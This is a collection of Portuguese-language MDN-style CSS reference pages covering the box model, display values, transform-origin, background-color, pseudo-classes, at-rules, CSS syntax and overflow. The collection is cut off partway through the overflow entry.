{"title":"CSS Box Model - CSS","text":"CSS Box Model\n=============\n\n**CSS Box Model (Modelo de Caixa CSS)** é um módulo de CSS que define caixas retangulares, incluindo preenchimento (padding) e margem (margin), que são gerados por elementos e dispostos de acordo com o modelo de formato visual (en-US).\n\nReferência\n----------\n\n### Propriedades\n\n#### Propriedades que controlam o fluxo de conteúdo em uma caixa\n\n* `box-decoration-break` (en-US)\n* `box-sizing`\n* `overflow`\n* `overflow-x` (en-US)\n* `overflow-y` (en-US)\n\n#### Propriedades que controlam o tamanho de uma caixa\n\n* `height`\n* `width`\n* `max-height` (en-US)\n* `max-width`\n* `min-height`\n* `min-width` (en-US)\n\n#### Propriedades que controlam as margens de uma caixa\n\n* `margin`\n* `margin-bottom`\n* `margin-left` (en-US)\n* `margin-right` (en-US)\n* `margin-top`\n\n#### Propriedades que controlam o preenchimento (padding) de uma caixa\n\n* `padding`\n* `padding-bottom` (en-US)\n* `padding-left`\n* `padding-right` (en-US)\n* `padding-top` (en-US)\n\n#### Outras propriedades\n\n* `box-shadow`\n* `visibility`\nGuias e ferramentas\n-------------------\n\nIntrodução ao modelo de caixa CSS\n\nExplicações de uma concepção fundamental no CSS, o modelo de caixa: descreve o sentido de margem, preenchimento, tambem como as diferentes áreas da caixa.\n\nDominando o colapso da margem\n\nNa maioria dos casos, duas margens adjacentes são colapsadas em uma. Este artigo descreve quando isso acontecwe e como controlar isso.\n\nGerador de sombra de caixa (en-US)\n\nUma ferramenta interativa que permite criar sombras visualmente e gerar a sintaxe necessária para a propriedade `box-shadow`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Model Module Level 3  |"}
{"title":"<display-internal> - CSS","text":"<display-internal>\n==================\n\nAlguns modelos de layout, como `table` e `ruby` Alguns modelos de layout, como possuem uma estrutura interna complexa, com várias funções diferentes que seus filhos e descendentes podem preencher. Esta página define os valores de exibição \"internos\", que só têm significado nesse modo de layout específico.\n\nSintaxe\n-------\n\nSalvo indicação em contrário, o tipo de exibição interno e o tipo de exibição externo de elementos que usam esses valores de exibição são definidos para a palavra-chave fornecida.\n\n`table-row-group`\n\nEsses elementos se comportam como`<tbody>` (en-US) HTML elementos.\n\n`table-header-group`\n\nEsses elementos se comportam como`<thead>` (en-US) HTML elementos.\n\n`table-footer-group`\n\nEsses elementos se comportam como `<tfoot>` HTML elementos.\n\n`table-row`\n\nEsses elementos se comportam como `<tr>` (en-US) HTML elementos.\n\n`table-cell`\n\nEsses elementos se comportam como `<td>` (en-US) HTML elementos.\n\n`table-column-group`\n\nEsses elementos se comportam como`<colgroup>` (en-US) HTML elementos.\n\n`table-column`\n\nEsses elementos se comportam como `<col>` (en-US) HTML elementos.\n\n`table-caption`\n\nEsses elementos se comportam como`<caption>` HTML elementos.\n\n`ruby-base` \nExperimental\n\nEsses elementos se comportam como`<rb>` (en-US) HTML elementos.\n\n`ruby-text` \nExperimental\n\nEsses elementos se comportam como `<rt>` (en-US) HTML elementos.\n\n`ruby-base-container` \nExperimental\n\nEsses elementos se comportam como`<rbc>` HTML elementos gerado como caixas anônimas.\n\n`ruby-text-container` \nExperimental\n\nEsses elementos se comportam como `<rtc>` (en-US) HTML elementos.\n\nCompatibilidade com navegadores\n-------------------------------\n\n### Suporte de valores de tabela\n\n`table`, `table-cell`, `table-column`, `table-column-group`, `table-footer-group`, `table-header-group`, `table-row`, and `table-row-group`\n\n### css.properties.display.table\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.ruby\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Suporte de valores de rubi\n\n`ruby`, `ruby-base`, `ruby-base-container`, `ruby-text`, and `ruby-text-container`\n\n### css.properties.display.table\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.ruby\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `display`\n    + `<display-outside>`\n    + `<display-inside>`\n    + `<display-listitem>`\n    + `<display-box>`\n    + `<display-legacy>`"}
{"title":"transform-origin - CSS","text":"transform-origin\n================\n\nA propriedade **`transform-origin`** define a origem das transformações de um elemento no CSS.\n\nExperimente\n-----------\n\nA origem da transformação é o ponto em torno do qual uma transformação é aplicada. Por exemplo, a origem da transformação da função `rotate()` é o centro de rotação.\n\nNa prática, essa propriedade envolve um par de translações em torno das outras transformações do elemento. A primeira translação move a origem da transformação para a origem real em \n\n\n(\n0\n,\n0\n)\n\n. Em seguida, as outras transformações são aplicadas e, porque a origem da transformação está em \n\n\n(\n0\n,\n0\n)\n\n, essas transformações atuam em relação à origem da transformação. Por fim, a translação oposta é aplicada, movendo a origem da transformação de volta à sua localização original. Consequentemente, essa definição\n\n\n```css\ntransform-origin: -100% 50%;\ntransform: rotate(45deg);\n```\n\n\nresulta na mesma transformação que\n\n\n```css\ntransform-origin: 0 0;\ntransform: translate(-100%, 50%) rotate(45deg) translate(100%, -50%);\n```\n\n\nLendo da direita para a esquerda, `translate(100%, -50%)` é a tradução para trazer a origem da transformação para a origem real, `rotate(45deg)` é a transformação original e `translate(-100%, 50%)` é a tradução para restaurar a origem da transformação à sua localização original.\n\nPor padrão, a origem de uma transformação é `center` (centro).\n\nSintaxe\n-------\n\n\n```css\n/\\* One-value syntax \\*/\ntransform-origin: 2px;\ntransform-origin: bottom;\n\n/\\* x-offset | y-offset \\*/\ntransform-origin: 3cm 2px;\n\n/\\* x-offset-keyword | y-offset \\*/\ntransform-origin: left 2px;\n\n/\\* x-offset-keyword | y-offset-keyword \\*/\ntransform-origin: right top;\n\n/\\* y-offset-keyword | x-offset-keyword \\*/\ntransform-origin: top right;\n\n/\\* x-offset | y-offset | z-offset \\*/\ntransform-origin: 2px 30% 10px;\n\n/\\* x-offset-keyword | y-offset | z-offset \\*/\ntransform-origin: left 5px -3px;\n\n/\\* x-offset-keyword | y-offset-keyword | z-offset \\*/\ntransform-origin: right bottom 2cm;\n\n/\\* y-offset-keyword | x-offset-keyword | z-offset \\*/\ntransform-origin: bottom right 2cm;\n\n/\\* Global values \\*/\ntransform-origin: inherit;\ntransform-origin: initial;\ntransform-origin: revert;\ntransform-origin: revert-layer;\ntransform-origin: unset;\n```\n\n\nA propriedade `transform-origin` pode ser especificada usando um, dois ou três valores, onde cada valor representa um deslocamento. Deslocamentos que não são definidos explicitamente são redefinidos para seus respectivos valores iniciais.\n\nSe um único valor `<length>` (en-US) ou `<percentage>` (en-US) for definido, ele representa o deslocamento horizontal.\n\nSe dois ou mais valores forem definidos e nenhum deles for uma palavra-chave, ou a única palavra-chave utilizada for `center`, então o primeiro valor representa o deslocamento horizontal e o segundo representa o deslocamento vertical.\n\n* Sintaxe de um valor:\n    + O valor deve ser um `<length>` (en-US), um `<percentage>` (en-US), ou uma das palavras-chave `left`, `center`, `right`, `top` e `bottom`.\n* Sintaxe de dois valores:\n    + Um valor deve ser um `<length>` (en-US), um `<percentage>` (en-US), ou uma das palavras-chave `left`, `center` e `right`.\n    + O outro valor deve ser um `<length>` (en-US), um `<percentage>` (en-US), ou uma das palavras-chave `top`, `center` e `bottom`.\n* Sintaxe de três valores:\n    + Os dois primeiros valores são os mesmos da sintaxe de dois valores.\n    + O terceiro valor deve ser um `<length>` (en-US). Ele representa sempre o deslocamento Z.\n### Valores\n\n*x-offset*\n\nÉ um `<length>` (en-US) ou um `<percentage>` (en-US) que descreve a distância a partir da borda esquerda da caixa onde a origem da transformação é definida.\n\n*offset-keyword*\n\nÉ uma das palavras-chave `left`, `right`, `top`, `bottom` ou `center` que descreve o deslocamento correspondente.\n\n*y-offset*\n\nÉ um `<length>` (en-US) ou um `<percentage>` (en-US) que descreve a distância a partir da borda superior da caixa onde a origem da transformação é definida.\n\n*x-offset-keyword*\n\nÉ uma das palavras-chave `left`, `right` ou `center` que descreve a distância a partir da borda esquerda da caixa onde a origem da transformação é definida.\n\n*y-offset-keyword*\n\nÉ uma das palavras-chave `top`, `bottom` ou `center` que descreve a distância a partir da borda superior da caixa onde a origem da transformação é definida.\n\n*z-offset*\n\nÉ um `<length>` (en-US) (e nunca um `<percentage>` (en-US) que tornaria a afirmação inválida) que descreve a distância do olho do usuário onde a origem z=0 é definida.\n\nAs palavras-chave são atalhos convenientes e correspondem aos seguintes valores de `<percentage>` (en-US):\n\n| Keyword | Value |\n| --- | --- |\n| `left` | `0%` |\n| `center` | `50%` |\n| `right` | `100%` |\n| `top` | `0%` |\n| `bottom` | `100%` |\n\nDefinição formal\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | `50% 50% 0` |\n| Aplica-se a | qualquer elemento transformavel |\n| Inherited | não |\n| Percentages | refer to the size of bounding box |\n| Computed value | for `length` (en-US) the absolute value, otherwise a percentage |\n| Animation type | simple list of length, percentage, or calc |\n\n**Nota:** O valor inicial de `transform-origin` é `0 0` para todos os elementos SVG, exceto para elementos `<svg>` raiz e elementos `<svg>` que são filhos diretos de um elemento foreignObject (en-US), cujo `transform-origin` é `50% 50%`, assim como outros elementos CSS. Consulte o atributo transform-origin (en-US) do SVG para obter mais informações.\n\nSintaxe formal\n--------------\n```\n\ntransform-origin =   \n  [ (en-US) left | (en-US) center | (en-US) right | (en-US) top | (en-US) bottom | (en-US) <length-percentage> ] (en-US)  | (en-US)  \n  [ (en-US) left | (en-US) center | (en-US) right | (en-US) <length-percentage> ] (en-US) [ (en-US) top | (en-US) center | (en-US) bottom | (en-US) <length-percentage> ] (en-US) <length> (en-US)? (en-US)  | (en-US)  \n  [ (en-US) [ (en-US) center | (en-US) left | (en-US) right ] (en-US) && (en-US) [ (en-US) center | (en-US) top | (en-US) bottom ] (en-US) ] (en-US) <length> (en-US)? (en-US)    \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n```\n\nExemplos\n--------\n\n### Uma demonstração de vários valores de transformação\n\nEste exemplo mostra o efeito de escolher diferentes valores de `transform-origin` para uma variedade de funções de transformação.\n```\n\n<div class=\"container\">\n  <div class=\"example\">\n    <div class=\"box box1\">&nbsp;</div>\n    <div class=\"box original\">&nbsp;</div>\n  </div>\n\n  <pre>\ntransform: none;\n  </pre>\n\n  <div class=\"example\">\n    <div class=\"box box2\">&nbsp;</div>\n    <div class=\"box original\">&nbsp;</div>\n  </div>\n\n  <pre>\ntransform: rotate(30deg);\n  </pre>\n\n  <div class=\"example\">\n    <div class=\"box box3\">&nbsp;</div>\n    <div class=\"box original\">&nbsp;</div>\n  </div>\n\n  <pre>\ntransform: rotate(30deg);\ntransform-origin: 0 0;\n  </pre>\n\n  <div class=\"example\">\n    <div class=\"box box4\">&nbsp;</div>\n    <div class=\"box original\">&nbsp;</div>\n  </div>\n\n  <pre>\ntransform: rotate(30deg);\ntransform-origin: 100% 100%;\n  </pre>\n\n  <div class=\"example\">\n    <div class=\"box box5\">&nbsp;</div>\n    <div class=\"box original\">&nbsp;</div>\n  </div>\n\n  <pre>\ntransform: rotate(30deg);\ntransform-origin: -1em -3em;\n  </pre>\n\n  <div class=\"example\">\n    <div class=\"box box6\">&nbsp;</div>\n    <div class=\"box original\">&nbsp;</div>\n  </div>\n\n  <pre>\ntransform: scale(1.7);\n  </pre>\n\n  <div class=\"example\">\n    <div class=\"box box7\">&nbsp;</div>\n    <div class=\"box original\">&nbsp;</div>\n  </div>\n\n  <pre>\ntransform: scale(1.7);\ntransform-origin: 0 0;\n  </pre>\n\n  <div class=\"example\">\n    <div class=\"box box8\">&nbsp;</div>\n    <div class=\"box original\">&nbsp;</div>\n  </div>\n\n  <pre>\ntransform: scale(1.7);\ntransform-origin: 100% -30%;\n  </pre>\n\n  <div class=\"example\">\n    <div class=\"box box9\">&nbsp;</div>\n    <div class=\"box original\">&nbsp;</div>\n  </div>\n\n  <pre>\ntransform: skewX(50deg);\ntransform-origin: 100% -30%;\n  </pre>\n\n  <div class=\"example\">\n    <div class=\"box box10\">&nbsp;</div>\n    <div class=\"box original\">&nbsp;</div>\n  </div>\n\n  <pre>\ntransform: skewY(50deg);\ntransform-origin: 100% -30%;\n  </pre>\n</div>\n```\n\n\n```\n.container {\n  display: grid;\n  grid-template-columns: 200px 100px;\n  gap: 20px;\n}\n\n.example {\n  position: relative;\n  margin: 0 2em 4em 5em;\n}\n\n.box {\n  display: inline-block;\n  width: 3em;\n  height: 3em;\n  border: solid 1px;\n  background-color: palegreen;\n}\n\n.original {\n  position: absolute;\n  left: 0;\n  opacity: 20%;\n}\n\n.box1 {\n  transform: none;\n}\n\n.box2 {\n  transform: rotate(30deg);\n}\n\n.box3 {\n  transform: rotate(30deg);\n  transform-origin: 0 0;\n}\n\n.box4 {\n  transform: rotate(30deg);\n  transform-origin: 100% 100%;\n}\n\n.box5 {\n  transform: rotate(30deg);\n  transform-origin: -1em -3em;\n}\n\n.box6 {\n  transform: scale(1.7);\n}\n\n.box7 {\n  transform: scale(1.7);\n  transform-origin: 0 0;\n}\n\n.box8 {\n  transform: scale(1.7);\n  transform-origin: 100% -30%;\n}\n\n.box9 {\n  transform: skewX(50deg);\n  transform-origin: 100% -30%;\n}\n\n.box10 {\n  transform: skewY(50deg);\n  transform-origin: 100% -30%;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Transforms Module Level 1 # transform-origin-property |\n\nCompatibilidade com navegadorres\n--------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando transformações CSS\n* https://css-tricks.com/almanac/properties/t/transform-origin/"}
{"title":"background-color - CSS","text":"background-color\n================\n\nA propriedade CSS **`background-color`** define a cor de fundo de um elemento.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores em chaves \\*/\nbackground-color: red;\nbackground-color: indigo;\n\n/\\* Valores em Hexadecimais \\*/\nbackground-color: #bbff00; /\\* Totalmente opaco \\*/\nbackground-color: #bf0; /\\* Forma abreviada totalmente opaco \\*/\nbackground-color: #11ffee00; /\\* Totalmente transparente \\*/\nbackground-color: #1fe0; /\\* Forma abreviada totalmente transparente \\*/\nbackground-color: #11ffeeff; /\\* Totalmente opaco \\*/\nbackground-color: #1fef; /\\* Forma abreviada totalmente opaco \\*/\n\n/\\* Valores em RGB \\*/\nbackground-color: rgb(255, 255, 128); /\\* Totalmente opaco \\*/\nbackground-color: rgba(117, 190, 218, 0.5); /\\* 50% transparente \\*/\n\n/\\* Valores em HSL \\*/\nbackground-color: hsl(50, 33%, 25%); /\\* Totalmente opaco \\*/\nbackground-color: hsla(50, 33%, 25%, 0.75); /\\* 75% transparente \\*/\n\n/\\* Valores em chaves especiais \\*/\nbackground-color: currentcolor;\nbackground-color: transparent;\n\n/\\* Valores globais \\*/\nbackground-color: inherit;\nbackground-color: initial;\nbackground-color: unset;\n```\n\n\nA propriedade `background-color` recebe um único valor `<color>`.\n\n### Valores\n\n`<color>`\n\nA cor uniforme de fundo. É renderizado atrás de qualquer `background-image` (en-US) especificado, embora a cora ainda continue visible através de qualquer transparência da imagem.\n\nAcessibilidade\n--------------\n\nÉ importante assegurar que o contraste entre a cor de fundo e a cor do texto colocado sobre ele é alta o suficiente para pessoas com condições de baixa visão possam ler o conteúdo da página.\n\nA cor do contrast é determinada comparando a luminância da cor do texto e da cor de fundo. Para atender às atuais Diretrizes de Acessibilidade de Conteúdo da Web (WCAG), uma proporção de 4.5:1 é necessária para conteúdo de texto e 3:1 para textos maiores como títulos. Texto grande é definido como 18.66px e negrito ou maior, ou 24px ou maior.\n\n* WebAIM: Color Contrast Checker\n* MDN Understanding WCAG, Guideline 1.4 explanations (en-US)\n* Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0\nDefinição formal\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | `transparent` |\n| Aplica-se a | all elements. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | não |\n| Computed value | computed color |\n| Animation type | a color |\n\nSintaxe formal\n--------------\n```\n\nbackground-color =   \n  <color>    \n  \n```\n\nExemplos\n--------\n\n### HTML\n\n\n```html\n<div class=\"exampleone\">Lorem ipsum dolor sit amet, consectetuer</div>\n\n<div class=\"exampletwo\">Lorem ipsum dolor sit amet, consectetuer</div>\n\n<div class=\"exemplothree\">Lorem ipsum dolor sit amet, consectetuer</div>\n```\n\n### CSS\n\n\n```css\n.exampleone {\n  background-color: teal;\n  color: white;\n}\n\n.exampletwo {\n  background-color: rgb(153, 102, 153);\n  color: rgb(255, 255, 204);\n}\n\n.examplethree {\n  background-color: #777799;\n  color: #ffffff;\n}\n```\n\n### Result\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Backgrounds and Borders Module Level 3 # background-color |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Multiple backgrounds\n* The `<color>` data type\n* Other color-related properties: `color`, `border-color` (en-US), `outline-color` (en-US), `text-decoration-color` (en-US), `text-emphasis-color` (en-US), `text-shadow`, `caret-color` (en-US), and `column-rule-color` (en-US)\n* Applying color to HTML elements using CSS"}
{"title":":last-child - CSS","text":":last-child\n===========\n\nResumo\n------\n\nA CSS pseudo-classe (en-US) `:last-child` representa qualquer elemento que é o último filho de seu elemento pai.\n\nSintaxe\n-------\n```\n\nelemento:last-child { propriedades de estilo }\n```\n\nExemplo\n-------\n\n### Conteúdo HTML\n\n\n```html\n<ul>\n  <li>Esse item não é afetado pelo estilo.</li>\n  <li>Esse também não.</li>\n  <li>Esse item é! :)</li>\n</ul>\n```\n\n### Conteúdo CSS\n\n\n```css\nli:last-child {\n  background-color: lime;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # the-last-child-pseudo |\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `:first-child`\n* `:nth-child`\n* `:last-of-type`"}
{"title":":invalid - CSS","text":":invalid\n========\n\nA pseudo-classe CSS **`:invalid`** representa qualquer elemento `<input>` ou `<form>` (en-US) cujo conteúdo não esteja válido (en-US).\n\n\n```css\n/\\* Seleciona todos os inputs inválidos \\*/\ninput:invalid {\n  background-color: pink;\n}\n```\n\n\nEssa pseudo-classe é útil para usuário identificar quais campos foram preenchidos incorretamente.\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplo\n-------\n\nEsse exemplo apresenta um simples formulário onde a cor verde realça um input válido e a cor vermelha realça um input inválido.\n\n### HTML\n\n\n```html\n<form>\n  <label for=\"url\\_input\">Adicione uma URL:</label>\n  <input type=\"url\" id=\"url\\_input\" />\n  <br />\n  <br />\n  <label for=\"email\\_input\">Adicione um endereço de email:</label>\n  <input type=\"email\" id=\"email\\_input\" required />\n</form>\n```\n\n### CSS\n\n\n```css\ninput:invalid {\n  background-color: #ffdddd;\n}\n\nform:invalid {\n  border: 5px solid #ffdddd;\n}\n\ninput:valid {\n  background-color: #ddffdd;\n}\n\nform:valid {\n  border: 5px solid #ddffdd;\n}\n\ninput:required {\n  border-color: #800000;\n  border-width: 3px;\n}\n\ninput:required:invalid {\n  border-color: #c00000;\n}\n```\n\n### Resultado\n\nNotas\n-----\n\n### Radio buttons\n\nSe algum radio button de um grupo possuir o atributo `required`, a pseudo-classe `:invalid` é aplicada a todos se nenhum deles for selecionado. (Radio buttons agrupados compartilham o mesmo valor pelo atributo `name`.)\n\n### Gecko defaults\n\nPor padrão, Gecko não aplica o estilo para a pseudo-classe `:invalid`. Entretanto, pode-se aplicar um estilo (um \"brilho\" vermelho usando a propriedade `box-shadow`) à pseudo-classe `:-moz-ui-invalid` (en-US), que são um conjunto que se aplicam como o `:invalid`.\n\nVocê pode desabilitar o \"brilho\" usando o CSS a seguir, ou substituir completamente para alterar a aparência dos campos inválidos:\n\n\n```css\n:invalid {\n  box-shadow: none;\n}\n\n:-moz-submit-invalid {\n  box-shadow: none;\n}\n\n:-moz-ui-invalid {\n  box-shadow: none;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-invalid |\n| Selectors Level 4 # validity-pseudos |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outras pseudo-classes relacionadas com validações: `:required`, `:optional`, `:valid`\n* Mozilla pseudo-classes relacionadas: `:-moz-ui-invalid` (en-US), `:-moz-submit-invalid` (en-US)\n* Form data validation (en-US)"}
{"title":"Regra At - CSS","text":"Regra At\n========\n\nUma **regra at (at-rule)** é uma CSS statement iniciando com um caractere arroba, '`@`' (`U+0040 ARROBA COMERCIAL`), seguido por um indetificador e terminando no primeiro ponto e vírgula', `;`' (`U+003B SEMICOLON`), fora de um bloco, ou no fim do primeiro Bloco CSS.\n\nExistem muitas regras at, criadas por seu identificador, cada um com uma sintaxe diferente:\n\n* `@charset`, definindo o conjunto de caracteres (codificação) usado pela folha de estilos.\n* `@import`, informando o motor CSS para incluir uma folha de estilos externa.\n* `@namespace` (en-US), informando ao motor CSS que todo o conteúdo deve ser considerado prefixado com um namespace XML.\n* Regras at aninhadas, um subconjunto de regras aninhadas que pode ser usado não somente como uma regra de uma folha de estilos, mas também dentro de um grupo de regras condicional:\n    + `@media` (en-US), um grupo de regras condicional que é aplicado ao conteúdo caso o dispositivo de exibição cumpra com a condição de mídia definida.\n    + `@font-face`, descrevendo o aspecto de uma fonte externa que deve ser baixada. \n    Experimental\n    + `@document` (en-US), um grupo de regras condicional que é aplicado ao conteúdo caso o documento cumpra com os critério definidos. \n    Experimental\n    + `@supports` (en-US), um grupo de regras condicional que é aplicado caso o navegador cumpra com os critérios definidos. \n    Experimental\nGrupos condicionais de regras\n-----------------------------\n\nAssim como valores de propriedades, cada regra at possui uma sintaxe diferente; várias delas, entretanto, podem ser agrupadas em uma categoria especial, os **grupos condicionais de regras**. Essas regras compartilham uma sintaxe em comum. Cada uma delas inclui *regras aninhadas*, que são *conjuntos de regras* ou *regras at aninhadas*. Todas elas transmitem um significado semântico em comum: todas indicam uma condição (de um tipo diferente) para que as regras sejam aplicadas.\n\nGrupos condicionais de regras são definidos pelo CSS3 e são:\n\n* `@media` (en-US),\n* `@document` (en-US),\n* `@supports` (en-US).\n\nCada uma delas sendo também uma regra aninhada, pode haver uma quantidade indeterminada de aninhamentos."}
{"title":"Sintaxe - CSS","text":"Sintaxe\n=======\n\nO Objetivo básico da linguagem de folhas de estilo em cascata (CSS) é permitir que um motor do navegador pinte elementos na página com características específicas como cores, posições, ou decorações. A sintaxe *CSS* reflete estes objetivos e seus blocos de contrução básicos são:\n\n* A **propriedade** é um identificador que possui um nome legível, que define o que será considerado ou editado;\n* O **valor** descreve como o recurso será tratado pelo motor. Cada propriedade possui um conjunto de valores válidos, definida por uma gramática formal, bem como um significado semântico, implementado para o motor do navegador.\nDeclarações do CSS\n------------------\n\nA definição de propriedades CSS para um valor específico é a função principal da linguagem CSS. A propriedade e valor são chamados de **declaração**, e qualquer motor do CSS calcula quais declarações serão aplicadas para todos um único elemento da página em ordem adequadamente, a fim de exibí-lo com o estilo correto.\n\nTanto as propriedades como os valores são case-sensitive no CSS. Os pares se separam por dois pontos, '`:`' (`U+003A COLON`), e espaços em branco antes, entre e depois de propriedades e valores, porém os espaços dentro da declaração são ignorados.\n\n![css syntax - declaration.png](/pt-BR/docs/Web/CSS/Syntax/css_syntax_-_declaration.png)\n\nExistem mais de 100 propriedades diferentes no CSS e um número quase infinito de diferentes valores. Nem todos os pares de propriedades e valores são permitidos em cada propriedade define o que são valores válidos. Quando um valor não é válido para uma determinada propriedade, a declaração é considerada inválida e é totalmente ignorada pelo motor do CSS.\n\nBlocos de declaração CSS\n------------------------\n\nDeclarações são agrupadas em **blocos**, que estão delimitados na estrutura com uma chave de abertura, '`{`' (`U+007B LEFT CURLY BRACKET`), e fechadas com outra, '`}`' (`U+007D RIGHT CURLY BRACKET`). Os blocos as vezes podem estar aninhados, a abertura e fechamento de chaves no bloco CSS deve ser realizada.\n\n![css syntax - block.png](/pt-BR/docs/Web/CSS/Syntax/css_syntax_-_block.png)\n\nEsses blocos são chamados de **blocos de declaração** e as declarações dentro deles são separadas por, '`;`' (`U+003B SEMICOLON`). Um bloco de declaração pode não conter nenhuma declaração. Espaços em branco em volta das declarações não são consideradas. Não é necessário que a última declaração possua ponto e vírgula, apesar de ser considerada uma boa prática pois previne o esquecimento de acrescê-la quando for necessário aumentar o bloco.\n\n![css syntax - declarations block.png](/pt-BR/docs/Web/CSS/Syntax/css_syntax_-_declarations_block.png)\n\n**Nota:** O conteúdo de um bloco de declaração, que é uma lista separada por pontos e vírgulas, sem as chaves, pode ser posto dentro da tag HTML `style`.\n\nRegras CSS\n----------\n\nSe as folhas de estilo pudessem apenas aplicar uma declaração para cada elemento de uma página da web, eles seriam bem limitados. O principal objetivo é aplicar diferentes declarações a diferentes partes do documento.\n\nO CSS associa as condições com os blocos de declaração. Cada bloco (válido) é precedido por um ou mais seletores, separados por vírgula, que são condições selecionando alguns elementos da página. O grupo de seletores é chamado de regra.\n ![css syntax - ruleset.png](/pt-BR/docs/Web/CSS/Syntax/css_syntax_-_ruleset.png)\n\nUm elemento pode ser modificado por diversos seletores, e por isso por diversas regras que potencialmente podem conter diversas propriedades, com diferentes valores, o CSS padrão define aquele que possui a precedência e que será aplicado: esse é o tal algoritmo em cascata.\n\n**Nota:** É importante perceber que quando uma regra é caracterizada por um grupo de seletores que são algum tipo de atalho com cada um sendo um simples seletor isso não se aplica a validade da regra por si só.\n\nIsso leva a uma importante consequência: se apenas um dos seletores for inválido, como usar uma pseudo-classe ou pseudo-elemento desconhecido, todo o *seletor* é inválido e por isso toda a regra é ignorada (invalidada também).\n\nCSS statements\n--------------\n\nRulesets are the main building blocks of a style sheet, which often consists of only a big list of them. But there is other information that a Web author wants to convey in the style sheet, like the character set, other external style sheets to import, font face or list counter descriptions and many more. It will use other and specific kinds of statements to do that.\n\nA **statement** is a building block that begins with any non-space characters and ends at the first closing brace or semi-colon (outside a string, non-escaped and not included into another {}, () or [] pair).\n\n![css syntax - statements Venn diag.png](/pt-BR/docs/Web/CSS/Syntax/css_syntax_-_statements_venn_diag.png)\n\nThere are different kinds of statements:\n\n* **Rulesets** (or *rules*) that, as seen, associate a collection of CSS declarations to a condition described by a selector.\n* **At-rules** that start with an at sign, '`@`' (`U+0040 COMMERCIAL AT`), followed by an identifier and then continuing up the end of the statement, that is up to the next semi-colon (;) outside of a block, or the end of the next block. Each type of at-rules, defined by the identifier, may have its own internal syntax, and semantics of course. They are used to convey meta-data information (like `@charset` or `@import`), conditional information (like `@media` (en-US) or `@document` (en-US)), or descriptive information (like `@font-face`).\n\nAny statement which isn't a rule or an at-rule is invalid and ignored.\n\nThere is another group of statements, the **nested statements**, these are statements that can be used in a specific subset of at-rules, the *conditional group rules*. These statements only apply if a specific condition is matched: the `@media` at-rule content is applied only if the device on which runs the browser matches the expressed condition; the `@document` at-rule content is applied only if the current page matches some conditions, and so on. In CSS1 and CSS2.1, only *rulesets* could be used inside a conditional group rules. That was very restrictive and this restriction was lifted in *CSS Conditionals Level 3*. Now, though it still is experimental and not support by every browser, a conditional group rules can contain a wider range of content, rulesets but also some, but not all, at-rules."}
{"title":"overflow - CSS","text":"overflow\n========\n\nBaseline 2022\n-------------\n\nNewly availableSince September 2022, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\nResumo\n------\n\nA propriedade `overflow` especifica quando o conteúdo de um elemento de nível de bloco deve ser cortado, exibido com barras de rolagem ou se transborda do elemento.\n\nO uso da propriedade `overflow` com valor diferente de `visible` (seu valor padrão), criará um novo contexto de formatação de bloco (en-US). Isto é tecnicamente necessário para evitar que um conteúdo flutuante que entre em contato com o objeto dentro da área de rolamento e quebre as linhas do conteúdo para ajustar a disposição do texto. A quebra das linhas ocorre sempre que a barra de rolagem é utilizada, tornando a experiência de rolagem lenta.\n\n**Nota:** Ao definir a propredade `scrollTop` para o `elemento` HTML relevante, mesmo que o valor de `overflow` seja `hidden`, o conteúdo ainda pode precisar rolar.\n\n|  |  |\n| --- | --- |\n| Initial value | `visible` |\n| Aplica-se a | Block-containers, flex containers, and grid containers |\n| Inherited | não |\n| Computed value | as each of the properties of the shorthand:* `overflow-x` (en-US): as specified, except with `visible`/`clip` computing to `auto`/`hidden` respectively if one of `overflow-x` (en-US) or `overflow-y` (en-US) is neither `visible` nor clip\n* `overflow-y` (en-US): as specified, except with `visible`/`clip` computing to `auto`/`hidden` respectively if one of `overflow-x` (en-US) or `overflow-y` (en-US) is neither `visible` nor clip\n |\n| Animation type | discrete |\n\nSintaxe\n-------\n```\n\noverflow:  visible | hidden | scroll | `auto` (en-US) | `inherit` (en-US)\n```\n\n### Valores\n\n`visible`\n\nValor padrão. O conteúdo não é cortado e pode ser renderizado para fora da caixa de conteúdo.\n\n`hidden`\n\nO conteúdo é cortado e nenhuma barra de rolagem é exibida.\n\n`scroll`\n\nO conteúdo é acessível através de barras de rolagem que são exibidas mesmo que o conteúdo não precise. Isso evita o problema de barras de rolagem aparecendo e desaparecendo quando o conteúdo é dinâmico. Impressoras podem imprimir o conteúdo vazado.\n\n`auto`\n\nDepende do navegador utilizado. Navegadores desktop como o Firefox geralmente exibem barras de rolagem apenas quando necessário.\n\n#### Extensões da Mozilla\n\n`-moz-scrollbars-none`\n\nUse `overflow:hidden` no lugar.\n\n`-moz-scrollbars-horizontal` \nDeprecated\n\nO uso de `overflow-x` (en-US) e `overflow-y` (en-US) é 